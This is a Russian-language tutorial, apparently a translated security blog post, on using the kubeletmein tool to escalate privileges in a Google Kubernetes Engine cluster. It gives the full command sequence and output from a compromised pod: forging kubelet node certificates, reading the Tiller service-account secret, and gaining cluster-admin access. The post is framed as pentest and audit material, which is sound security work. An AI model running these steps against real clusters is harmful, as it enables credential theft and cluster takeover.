Kubeletmein - утилита для повышения привилегий в кластерах Kubernetes

Kubeletmein - утилита для повышения привилегий в кластерах Kubernetes

Kubeletmein – простая утилита для автоматизации техник, связанных с эксплуатацией протокола TLS агента kubelet

Автор: Marc Wickenden

Kubeletmein – простая утилита для автоматизации техник, связанных с эксплуатацией протокола TLS агента kubelet, и расширения привилегий внутри кластера на базе Kubernetes.

Чтобы понять предысторию вопроса, рекомендую ознакомиться со статьей «Kubelet hacking on GKE».

Введение

Kubeletmein представляет собой одиночный бинарный файл, который вы можете загрузить в скомпрометированную рабочую единицу (pod) кластера на базе GKE (Google Kubernetes Engine) для чтения атрибутов экземпляра метаданных, генерации и отправки CSR (certificate signing request; запрос на получение сертификата). Будет сформирован файл kubeconfig, который вы можете использовать при работе с командой kubectl. Демонстрируемая утилита экономит массу времени по сравнению с тем, если бы вы работали с curl и openssl, которых, к тому же, может не оказаться в скомпрометированном контейнере.

Исходный код и скомпилированные релизы находятся по адресу https://github.com/4armed/kubeletmein. Внесение изменений и pull-запросы также приветствуется.

Установка демонстрационного кластера

Вначале по-быстрому развернем кластер на базе Google Kubernetes Engine. Предполагается, что у вас есть аккаунт в Google Cloud с включенным биллингом, проект настроен, и учетная запись активирована на рабочей станции. В противном случае сначала сходите по адресу https://cloud.google.com/. У этого сервиса предусмотрено щедрое кредитное предложение, если вы хотите опробовать технологию.

Если в Cloud Console вы одобрили настройки, используемые по умолчанию для стандартного кластера, то без проблем должны оказаться в командной строке. Я изменил только следующее:

  • Отключена базовая HTTP-аутентификация.

  • Отключены клиентские сертификаты.

  • Включено авто масштабирование при помощи пула узлов (минимум 1, максимум 3).

  • Включено использование выгружаемых узлов.

Для создания и активации кластера используем следующую команду: 

$ gcloud beta container clusters create "cluster0" --zone "us-central1-a" --no-enable-basic-auth --cluster-version "1.9.7-gke.11" --machine-type "n1-standard-1" --image-type "COS" --disk-type "pd-standard" --disk-size "100" --scopes "https://www.googleapis.com/auth/compute","https://www.googleapis.com/auth/devstorage.read_only","https://www.googleapis.com/auth/logging.write","https://www.googleapis.com/auth/monitoring","https://www.googleapis.com/auth/servicecontrol","https://www.googleapis.com/auth/service.management.readonly","https://www.googleapis.com/auth/trace.append" --preemptible --num-nodes "1" --enable-cloud-logging --enable-cloud-monitoring --no-enable-ip-alias --network "default" --subnetwork "default" --enable-autoscaling --min-nodes "1" --max-nodes "3" --addons HorizontalPodAutoscaling,HttpLoadBalancing,KubernetesDashboard --enable-autoupgrade --enable-autorepair

Кластер работает. 

Creating cluster cluster0 in us-central1-a...done.
kubeconfig entry generated for cluster0.
NAME      LOCATION       MASTER_VERSION MASTER_IP     MACHINE_TYPE   NODE_VERSION NUM_NODES STATUS
cluster0 us-central1-a 1.9.7-gke.11    35.188.62.53 n1-standard-1 1.9.7-gke.11 3          RUNNING

Чтобы сделать нашу жизнь более интересной и наметить цель для атаки, установим менеджер пакетов Helm. Более подробная инструкция по установке доступна по адресу https://docs.helm.sh/using_helm/#installing-helm. Я лишь по-быстрому установил права RBAC (Role-based-access-control; управление доступом на основе ролей) и компонент Tiller. 

$ kubectl create -f - <<EOF
apiVersion: v1
kind: ServiceAccount
metadata:
 name: tiller
 namespace: kube-system
---
apiVersion: rbac.authorization.k8s.io/v1
kind: ClusterRoleBinding
metadata:
 name: tiller
roleRef:
 apiGroup: rbac.authorization.k8s.io
 kind: ClusterRole
 name: cluster-admin
subjects:
 - kind: ServiceAccount
    name: tiller
    namespace: kube-system
EOF
serviceaccount "tiller" created
clusterrolebinding.rbac.authorization.k8s.io "tiller" created

Установка Tiller: 

$ helm init --service-account tiller
Tiller (the Helm server-side component) has been installed into your Kubernetes Cluster.
 
Please note: by default, Tiller is deployed with an insecure 'allow unauthenticated users' policy.
To prevent this, run `helm init` with the --tiller-tls-verify flag.
For more information on securing your installation see: https://docs.helm.sh/using_helm/#securing-your-helm-installation

Happy Helming!

Обратите внимание на надпись выше и никогда не делайте подобную конфигурацию в реальной системе. Всегда используйте протокол TLS, а иначе вероятность того, что ваш кластер окажется скомпрометированным, увеличится во много раз. Мы делаем такие настройки исключительно в демонстрационной среде. Стоит также отметить, что TLS не сможет защитить от того, что мы собираемся делать.

После того как все установлено, приступаем к тестированию утилиты kubeletmein.

Загрузка и запуск kubeletmein

Запускаем контейнер в нашем кластере и приступаем к эксплуатации учетной записи, используемой kubelet, при помощи kubeletmein. В Alpine Linux все работает прекрасно. 

$ kubectl run -ti --image=alpine --attach alpine -- sh
If you don't see a command prompt, try pressing enter.

$

Небольшое замечание. По умолчанию после запуска команды выше вы окажетесь в командной строке с символом # (то есть с правами суперпользователя). Я изменил эту настройку, поскольку в противном случае синтаксис кода на Bash будет подсвечивать все команды как комментарий.

Скачиваем kubectl для использования в дальнейшем. 

$ wget https://storage.googleapis.com/kubernetes-release/release/$(wget -q -O - https://storage.googleapis.com/kubernetes-release/release/stable.txt)/
bin/linux/amd64/kubectl -O /usr/local/bin/kubectl && chmod +x /usr/local/bin/kubectl
Connecting to storage.googleapis.com (108.177.112.128:443)
kubectl              100% |*********************************************************************************************************************************| 38295k 0:00:00 ETA

Теперь скачиваем kubeletmein. Последняя версия на момент написания статьи - 0.5.3. 

$ wget https://github.com/4ARMED/kubeletmein/releases/download/v0.5.3/kubeletmein_0.5.3_linux_amd64 -O /usr/local/bin/kubeletmein && chmod +x /usr/local/bin/kubeletmein
Connecting to github.com (192.30.253.112:443)
Connecting to github-production-release-asset-2e65be.s3.amazonaws.com (52.216.138.12:443)
kubeletmein          100% |*********************************************************************************************************************************| 21762k 0:00:00 ETA

Первым делом создаем файл bootstrap-kubeconfig, который содержит ключ/сертификат для kubelet из kube-env. 

$ kubeletmein gke bootstrap
2018-12-06T13:43:26Z [ℹ] writing ca cert to: ca-certificates.crt
2018-12-06T13:43:26Z [ℹ] writing kubelet cert to: kubelet.crt
2018-12-06T13:43:26Z [ℹ] writing kubelet key to: kubelet.key
2018-12-06T13:43:26Z [ℹ] generating bootstrap-kubeconfig file at: bootstrap-kubeconfig
2018-12-06T13:43:26Z [ℹ] wrote bootstrap-kubeconfig
2018-12-06T13:43:26Z [ℹ] now generate a new node certificate with: kubeletmein gke generate

Если захотите, то можете ознакомиться с содержимым созданного файла, который по умолчанию называется bootstrap-kubeconfig. При желании можно переопределить этот файл при помощи флага –b.

Теперь генерируем новый сертификат. На данный момент мы не знаем имена узлов внутри кластера, поэтому в качестве имени узла указываем «anything». 

$ kubeletmein gke generate -n anything
2018-12-06T13:45:24Z [ℹ] using bootstrap-config to request new cert for node: anything
2018-12-06T13:45:24Z [ℹ] got new cert and wrote kubeconfig

2018-12-06T13:45:24Z [ℹ] now try: kubectl --kubeconfig kubeconfig get pods

Теперь в текущей директории у нас появился файл kubeconfig с доступом system:nodes на базе сертификата из директории ./pki. Пробуем. 

$ kubectl --kubeconfig kubeconfig get pods
NAME                              READY   STATUS    RESTARTS   AGE
alpine-5498978876-66bbs           1/1     Running   2          35m

Взлом Helm через учетную запись, используемую kubelet

Как было упомянуто в предыдущей статье, теперь мы можем получить секреты, но только для узлов, для которых есть сертификат. И здесь утилита kubeletmein значительно ускоряет весь процесс, поскольку генерирует и отправляет csr, а также создает файл kubeconfig.

Ищем местонахождение секрета токена для служебной учетной записи в Tiller. 

 $ kubectl --kubeconfig kubeconfig get pods -l app=helm,name=tiller -n kube-system -o wide
NAME                             READY   STATUS    RESTARTS   AGE   IP          NODE                                      NOMINATED NODE   READINESS GATES
tiller-deploy-5c99b8bcbf-w7xq5   1/1     Running   0          18m   10.36.1.8   gke-cluster0-default-pool-eb80ec96-9n9f   <none>           <none>

По результатам выше видно, что Tiller установлен на узле gke-cluster0-default-pool-eb80ec96-9n9f, и нам понадобится соответствующий сертификат узла.

Вначале удаляем текущие сертификаты из директории ./pki (используемые по умолчанию).

$ rm pki/kubelet-client-*

Генерируем новый сертификат. 

$ kubeletmein gke generate -n gke-cluster0-default-pool-eb80ec96-9n9f
2018-12-06T13:56:34Z [ℹ] using bootstrap-config to request new cert for node: gke-cluster0-default-pool-eb80ec96-9n9f
2018-12-06T13:56:34Z [ℹ] got new cert and wrote kubeconfig
2018-12-06T13:56:34Z [ℹ] now try: kubectl --kubeconfig kubeconfig get pods

Мы только создали новый файл kubeconfig. Теперь можно приступать к чтению секретов из узла gke-cluster0-default-pool-eb80ec96-9n9f. 

$ kubectl --kubeconfig kubeconfig -n kube-system get pod tiller-deploy-5c99b8bcbf-w7xq5 -o jsonpath='{.spec.volumes[0].secret.secretName}{"\n"}'
tiller-token-mr4df
 
$ kubectl --kubeconfig kubeconfig -n kube-system get secret tiller-token-mr4df -o yaml
apiVersion: v1
data:
 ca.crt: LS0tLS1CRUdJTiBDRVJUSUZJQ0FURS0tLS0tCk1JSURDekNDQWZPZ0F3SUJBZ0lR[..]SUNBVEUtLS0tLQo=
 namespace: a3ViZS1zeXN0ZW0=
 token: ZXlKaGJHY2lPaUpTVXpJMU5pSXNJblI1Y0NJNklrcFhWQ0o5LmV5SnBjM01pT2lKcmRXSmxjbTVsZEdW[..]dDFZbVV0YzNsemRHVnRPblJwYkd4bGNpSjkuTFpoRnNrUENZYVg2cWlhVDBTeElkRmZGWm9xSDR3eGIxdHhCWkt1UUF0QXpNWGtLaDV0Tnk4MGFOdWRxU0RibTZyNXVhZ21JU2xDejl3VVdrY3lzeVU2dkFWLUdRcWtmVDV4cHIxQy04dUJYZ3pxSmRvM19HZldGVUpfcnZnZTFkd3Y4MW5IcGtuOWV5RGczeWY1SENWYy03LWN1RnRUdHRQU3lqQ2ppLVB1ZnQwZXpkb1h0WmpjcUFXakg0dXgtdXh4TjJRM21tU01sVkFzZGpNQy1zUmk5Y0otTW8wWEc0V0Nab3NTRF9vaHhLZ3pfWmhNd3Q5MnRDRHpUcFkzR1V6NWxVTmZLeTY2NzhTcEZwMVF4YjZWVTJybXd6anQyMHQwXy1weWFMZHJtRHlLdEpEc2NnZ2xHMm1aUFdMZjBUUjdxdUc5NFZYbGNkam9Zd0V3aFVB
kind: Secret
metadata:
 annotations:
    kubernetes.io/service-account.name: tiller
    kubernetes.io/service-account.uid: 9cba9310-f95b-11e8-a788-42010a800192
 creationTimestamp: "2018-12-06T13:34:10Z"
 name: tiller-token-mr4df
 namespace: kube-system
 resourceVersion: "4240"
 selfLink: /api/v1/namespaces/kube-system/secrets/tiller-token-mr4df
 uid: 9cbc8029-f95b-11e8-a788-42010a800192
type: kubernetes.io/service-account-token

Теперь мы получили секретный объект. Токен, как и все секреты в Kubernetes, представлены в кодировке base64.

Берем токен и декодируем в файл. 

$ kubectl --kubeconfig kubeconfig -n kube-system get secret tiller-token-mr4df -o jsonpath='{.data.token}' | base64 -d > tiller-token

Полученный токен можно использовать для доступа к API с привилегиями служебного аккаунта tiller. 

$ kubectl --certificate-authority ca-certificates.crt --token `cat tiller-token` --server https://${KUBERNETES_PORT_443_TCP_ADDR} get secrets
NAME                     TYPE                                  DATA   AGE
default-token-cfbb5      kubernetes.io/service-account-token   3      66m
peeking-cardinal-mysql   Opaque                                2      28m

Заключение

Мы стали админом кластера с ролью cluster-admin. Результат неплохой с учетом того, что изначально у нас был непривилегированный контейнер и не использовался openssl.

Kubeletmein реализован для ускорения аудитов безопасности для кластеров на базе Kubernetes. Мы используем это приложения для выполнения пентестов.

Методы защиты от подобного рода атак относительно просты. За подробностями обращайтесь к нашей статье «Kubelet hacking on GKE».

Домашний Wi-Fi – ваша крепость или картонный домик?

Узнайте, как построить неприступную стену